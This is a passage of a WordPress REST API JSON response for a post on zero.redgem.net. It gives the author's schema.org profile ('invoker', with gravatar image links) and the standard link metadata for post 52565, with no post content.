redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/52565","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=52565"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/52565\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=52565"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=52565"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=52565"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}